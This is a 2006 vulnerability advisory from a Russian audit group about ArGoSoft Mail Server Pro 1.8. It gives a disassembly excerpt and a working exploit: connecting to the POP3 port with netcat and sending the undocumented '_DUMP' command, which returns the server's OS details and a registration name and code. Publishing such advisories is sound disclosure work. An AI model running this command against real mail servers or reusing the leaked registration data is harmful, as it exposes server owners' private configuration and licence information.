Advisory: NSAG-¹201-24.02.2006 Research: NSA Group [Russian company on Audit of safety & Network security] Site of Research: http://www.nsag.ru or http://www.nsag.org Product: ArGoSoft Mail Server Pro 1.8 POP Site of manufacturer: www.argosoft.com The status: 19/11/2005 - Publication is postponed. 19/11/2005 - Manufacturer is notified. 16/02/2006 - Answer of the manufacturer is absent. 16/02/2006 - Publication of vulnerability. Original Advisory: http://www.nsag.ru/vuln/879.html Risk: Hide Description: Executed a command _DUMP, user gets access to the private information. Influence: Removed user gets access to a configuration of the server, the established system, the registration information and registration records of users. The Site of a code in which the given command has been found: ++++++++++++++++ Disassembler listing +++++++++++++++++++ CODE:0051AF65 D_DUMP: ; CODE XREF: D_POP3+F10j CODE:0051AF65 lea edx, [ebp+var_144] CODE:0051AF6B mov eax, [ebp+var_8] CODE:0051AF6E call sub_409DE0 CODE:0051AF73 mov eax, [ebp+var_144] CODE:0051AF79 mov edx, offset a_dump; "_DUMP" CODE:0051AF7E call sub_405908 ++++++++++++++++++++++++++++++++++++++++++++++++ Exploit: M: > nc.exe 192.168.1.1 110 +OK ArGoSoft Mail Server Pro for WinNT/2000/XP, Version 1.8 (1.8.8.1) _DUMP The Cut down result of performance: +OK Information Follows OS = Microsoft Windows 2000 Professional Service Pack 4 (Build 2195) RegUserName = UserTester RegCode = 917RCG790087CY4E More information: http://www.nsag.ru/vuln/879.html ------------------------------------------------------------------------ ------------ Our company is the independent auditor of the software in market IT. At present independent audit of the software becomes the standard practice and we suggest to make a let out product as much as possible protected from a various sort of attacks of malefactors! www.nsag.ru ?Nemesis? © 2006 ------------------------------------ Nemesis Security Audit Group © 2006.